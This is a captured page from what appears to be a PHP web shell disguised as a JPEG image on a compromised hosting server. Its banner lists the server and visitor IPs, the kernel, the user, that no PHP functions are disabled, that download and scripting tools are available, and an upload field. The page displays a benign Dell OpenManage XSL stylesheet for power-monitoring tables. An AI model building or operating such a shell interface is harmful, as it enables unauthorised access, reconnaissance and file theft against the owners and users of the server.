����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/dell/srvadmin/var/lib/openmanage/xslroot/hip/template/common/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
<xsl:import href="Util.xsl"/>
<xsl:variable name="currentObjs"><xsl:value-of select="/OMA/CurrentProbeList/CurrentProbe"/></xsl:variable>
<xsl:variable name="currentpoid"><xsl:value-of select="/OMA/CurrentProbeList/@poid"/></xsl:variable>
<xsl:variable name="varUnit">
<xsl:choose>
<xsl:when test="/OMA/@cli = 'true'"><xsl:value-of select="/OMA/UnitType"/></xsl:when>
<xsl:otherwise>all</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<xsl:template match="OMA">
<DataArea>
<PageTitle>
<xsl:attribute name="display"><xsl:value-of select="$strPowerConsumptionInfo"/></xsl:attribute>
<xsl:choose>
<xsl:when test="/OMA/@cli = 'true'"> </xsl:when>
<xsl:otherwise>
<xsl:attribute name="status"><xsl:value-of select="/OMA/ObjStatus"/></xsl:attribute>
</xsl:otherwise>
</xsl:choose>
</PageTitle>
<xsl:choose>
<!-- Power Monitoring not available -->
<xsl:when test="count(/OMA/PowerConsumptionDataObj) < 1">
<CustomButton>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$gstrRefresh"/></xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.hip.webplugins.ListPowerMonitoringWebPlugin&poid=<xsl:value-of select="$currentpoid"/>&help=PowerMonitoring</xsl:attribute>
</Data>
</CustomButton>
<PromptText><xsl:value-of select="$gstrPowerMonitoringNAMessage"/></PromptText>
</xsl:when>
<xsl:otherwise>
<xsl:choose>
<!-- Power Monitoring available, but error condition -->
<xsl:when test="SMStatus != '0'">
<TableData>
<Header>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$gstrError"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$gstrError"/></xsl:attribute>
</Data>
</Header>
<Row>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$gstr"/></xsl:attribute>
<xsl:attribute name="value">
<xsl:call-template name="smstatus">
<xsl:with-param name="status"><xsl:value-of select="SMStatus"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
</Data>
</Row>
</TableData>
</xsl:when>
<!-- Power Monitoring available and success condition -->
<xsl:otherwise>
<CustomButton>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$gstrRefresh"/></xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.hip.webplugins.ListPowerMonitoringWebPlugin&poid=<xsl:value-of select="$currentpoid"/>&help=PowerMonitoring</xsl:attribute>
</Data>
</CustomButton>
<xsl:call-template name="CurrentSensorsData"/>
<xsl:apply-templates select="PowerConsumptionDataObj"/>
</xsl:otherwise>
</xsl:choose>
</xsl:otherwise>
</xsl:choose>
</DataArea>
</xsl:template>
<xsl:template name="CurrentSensorsData">
<xsl:if test="count(/OMA/CurrentProbeList/CurrentProbe[SubType = '26']) > 0">
<xsl:call-template name="PowerConsumptionTable"/>
</xsl:if>
<xsl:if test="count(/OMA/CurrentProbeList/CurrentProbe[SubType = '23']) > 0">
<xsl:call-template name="AmperageInformationTable"/>
</xsl:if>
</xsl:template>
<xsl:template name="AmperageInformationTable">
<ListData type="custom" name="ampinfo" columnspacing="false">
<xsl:attribute name="display"><xsl:value-of select="$strAmperage"/></xsl:attribute>
<Header>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strAmperage"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strAmperage"/></xsl:attribute>
</Data>
</Header>
<xsl:for-each select="/OMA/CurrentProbeList/CurrentProbe[SubType = '23']">
<Data width="42%">
<xsl:attribute name="display"><xsl:value-of select="ProbeLocation"/></xsl:attribute>
<xsl:attribute name="value">
<xsl:call-template name="formatDeciAmpsValue">
<xsl:with-param name="value"><xsl:value-of select="ProbeReading"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
</Data>
</xsl:for-each>
</ListData>
</xsl:template>
<!--Power Headroom Table-->
<xsl:template name="PowerHeadroomInformationTable">
<xsl:if test="instHeadRoom!='65535'">
<ListData type="custom" name="pwrheadroominfo" columnspacing="false">
<xsl:attribute name="display"><xsl:value-of select="$strPowerHeadroom"/></xsl:attribute>
<Header>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strPowerHeadroom"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strPowerHeadroom"/></xsl:attribute>
</Data>
</Header>
<Data>
<xsl:attribute name="display">
<xsl:value-of select="$strSystemInstantaneousHeadroom"/>
</xsl:attribute>
<xsl:attribute name="value">
<xsl:call-template name="formatWattValue">
<xsl:with-param name="value"><xsl:value-of select="instHeadRoom"/></xsl:with-param>
<xsl:with-param name="unit"><xsl:value-of select="$varUnit"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strSystemPeakHeadroom"/></xsl:attribute>
<xsl:attribute name="value">
<xsl:call-template name="formatWattValue">
<xsl:with-param name="value"><xsl:value-of select="peakHeadRoom"/></xsl:with-param>
<xsl:with-param name="unit"><xsl:value-of select="$varUnit"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
</Data>
</ListData>
</xsl:if>
</xsl:template>
<xsl:template name="PowerConsumptionTable">
<TableData columnspacing="true" name="powerconinfo">
<xsl:attribute name="display"><xsl:value-of select="$strPowerConsumption"/></xsl:attribute>
<xsl:attribute name="status"><xsl:value-of select="ObjStatus"/></xsl:attribute>
<SubHeader>
<xsl:attribute name="display"><xsl:value-of select="$strPowerConsumption"/></xsl:attribute>
</SubHeader>
<xsl:if test="(/OMA/OMAUserRights = '7') or (/OMA/OMAUserRights = '3')">
<PromptText><xsl:value-of select="$strClickTheProbe"/></PromptText>
</xsl:if>
<Header>
<Data ignoreonweb="true">
<xsl:attribute name="display"><xsl:value-of select="$strIndex"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strIndex"/></xsl:attribute>
</Data>
<Data align="center">
<xsl:attribute name="display"><xsl:value-of select="$strStatus"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strStatus"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strProbeName"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strProbeName"/></xsl:attribute>
</Data>
<Data align="center">
<xsl:attribute name="display"><xsl:value-of select="$gstrReading"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$gstrReading"/></xsl:attribute>
</Data>
<Data align="center">
<xsl:attribute name="display"><xsl:value-of select="$strWarningThreshold"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strWarningThreshold"/></xsl:attribute>
</Data>
<Data align="center">
<xsl:attribute name="display"><xsl:value-of select="$strFailureThreshold"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strFailureThreshold"/></xsl:attribute>
</Data>
</Header>
<xsl:for-each select="/OMA/CurrentProbeList/CurrentProbe[SubType = '26']">
<Row>
<Data ignoreonweb="true">
<xsl:attribute name="value"><xsl:value-of select="@index"/></xsl:attribute>
</Data>
<Data type="status">
<xsl:attribute name="value"><xsl:value-of select="@status"/></xsl:attribute>
<xsl:attribute name="align">center</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value" ><xsl:value-of select="ProbeLocation"/></xsl:attribute>
<xsl:if test="(/OMA/OMAUserRights = '7') or (/OMA/OMAUserRights = '3')">
<xsl:if test="(ProbeThresholds/UCThreshold != '-2147483648') and (ProbeThresholds/UNCThreshold != '-2147483648') and (ProbeReading != '-2147483648')">
<xsl:choose>
<xsl:when test="(Capabilities/ProbeUNCDefSetEnabled = 'false') and (Capabilities/ProbeUNCSetEnabled = 'false')">
<!-- need not provide a link to the editable page -->
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.hip.webplugins.PowerMonitoringProbeWebPlugin&oid=<xsl:value-of select="@oid"/>&help=EditPowerMonProbes</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
</xsl:if>
</xsl:if>
</Data>
<Data>
<xsl:attribute name="value">
<xsl:call-template name="formatWattValue">
<xsl:with-param name="value"><xsl:value-of select="ProbeReading"/></xsl:with-param>
<xsl:with-param name="unit"><xsl:value-of select="$varUnit"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
<xsl:attribute name="align">center</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value">
<xsl:call-template name="formatWattValue">
<xsl:with-param name="value"><xsl:value-of select="ProbeThresholds/UNCThreshold"/></xsl:with-param>
<xsl:with-param name="unit"><xsl:value-of select="$varUnit"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
<xsl:attribute name="align">center</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value">
<xsl:call-template name="formatWattValue">
<xsl:with-param name="value"><xsl:value-of select="ProbeThresholds/UCThreshold"/></xsl:with-param>
<xsl:with-param name="unit"><xsl:value-of select="$varUnit"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
<xsl:attribute name="align">center</xsl:attribute>
</Data>
</Row>
</xsl:for-each>
</TableData>
</xsl:template>
<xsl:template match="PowerConsumptionDataObj">
<xsl:if test="/OMA/EMPObj/type != '17' and /OMA/EMPObj/type != '33'">
<xsl:call-template name="PowerHeadroomInformationTable"/>
</xsl:if>
<!-- in GUI, this is moved under Power Statistics tab whereas in CLI, need to retain-->
<xsl:if test="/OMA/@cli = 'true'">
<xsl:call-template name="CumulativePower"/>
<xsl:call-template name="PeakPower"/>
</xsl:if>
</xsl:template>
<xsl:template name="CumulativePower">
<TableData columnspacing="true" name="cumlpower" >
<xsl:attribute name="display"><xsl:value-of select="$strPowerTrackStats"/></xsl:attribute>
<SubHeader>
<xsl:attribute name="display"><xsl:value-of select="$strPowerTrackStats"/></xsl:attribute>
</SubHeader>
<Header>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strStatistic"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strStatistic"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strMeasureStartTime"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strMeasureStartTime"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strMeasureFinishTime"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strMeasureFinishTime"/></xsl:attribute>
</Data>
<Data align="center">
<xsl:attribute name="display"><xsl:value-of select="$gstrReading"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$gstrReading"/></xsl:attribute>
</Data>
</Header>
<Row>
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strEnergyConsumption"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="/OMA/cwStartTimeDisplay"/></xsl:attribute>
<xsl:attribute name="align">left</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="/OMA/cwFinishTimeDisplay"/></xsl:attribute>
<xsl:attribute name="align">left</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value">
<xsl:call-template name="formatKiloWattValue">
<xsl:with-param name="value"><xsl:value-of select="cumulativeWatts"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
<xsl:attribute name="align">center</xsl:attribute>
</Data>
</Row>
</TableData>
</xsl:template>
<xsl:template name="PeakPower">
<TableData columnspacing="true" name="peakpower">
<Header>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strStatistic"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strStatistic"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strMeasureStartTime"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strMeasureStartTime"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strPeakTime"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strPeakTime"/></xsl:attribute>
</Data>
<Data align="center">
<xsl:attribute name="display"><xsl:value-of select="$strPeakReading"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strPeakReading"/></xsl:attribute>
</Data>
</Header>
<Row>
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strSystemPeakPower"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="/OMA/pwStartTimeDisplay"/></xsl:attribute>
<xsl:attribute name="align">left</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="/OMA/pwReadingTimeDisplay"/></xsl:attribute>
<xsl:attribute name="align">left</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value">
<xsl:call-template name="formatWattValue">
<xsl:with-param name="value"><xsl:value-of select="peakWatts"/></xsl:with-param>
<xsl:with-param name="unit"><xsl:value-of select="$varUnit"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
<xsl:attribute name="align">center</xsl:attribute>
</Data>
</Row>
<xsl:variable name="peakamp"><xsl:value-of select="peakAmps"/></xsl:variable>
<xsl:if test="$peakamp != ''">
<Row>
<Data>
<xsl:attribute name="value" ><xsl:value-of select="$strSystemPeakAmperage"/></xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="/OMA/paStartTimeDisplay"/></xsl:attribute>
<xsl:attribute name="align">left</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="/OMA/paReadingTimeDisplay"/></xsl:attribute>
<xsl:attribute name="align">left</xsl:attribute>
</Data>
<Data>
<xsl:attribute name="value">
<xsl:call-template name="formatDeciAmpsValue">
<xsl:with-param name="value"><xsl:value-of select="peakAmps"/></xsl:with-param>
</xsl:call-template>
</xsl:attribute>
<xsl:attribute name="align">center</xsl:attribute>
</Data>
</Row>
</xsl:if>
</TableData>
</xsl:template>
<xsl:template name="smstatus">
<xsl:param name="status"/>
<xsl:param name="mssg"/>
<xsl:choose>
<xsl:when test="$status = '-1'"><xsl:value-of select="$gstrCommandUnsuccessful"/></xsl:when>
<xsl:when test="$status = '0'"><xsl:value-of select="$gstrCommandSuccessful"/></xsl:when>
<xsl:when test="$status = '256'"><xsl:value-of select="$strCurrentProbesNotFound"/></xsl:when>
<xsl:otherwise>SMStatus: <xsl:value-of select="$status"/></xsl:otherwise>
</xsl:choose>
</xsl:template>
</xsl:stylesheet>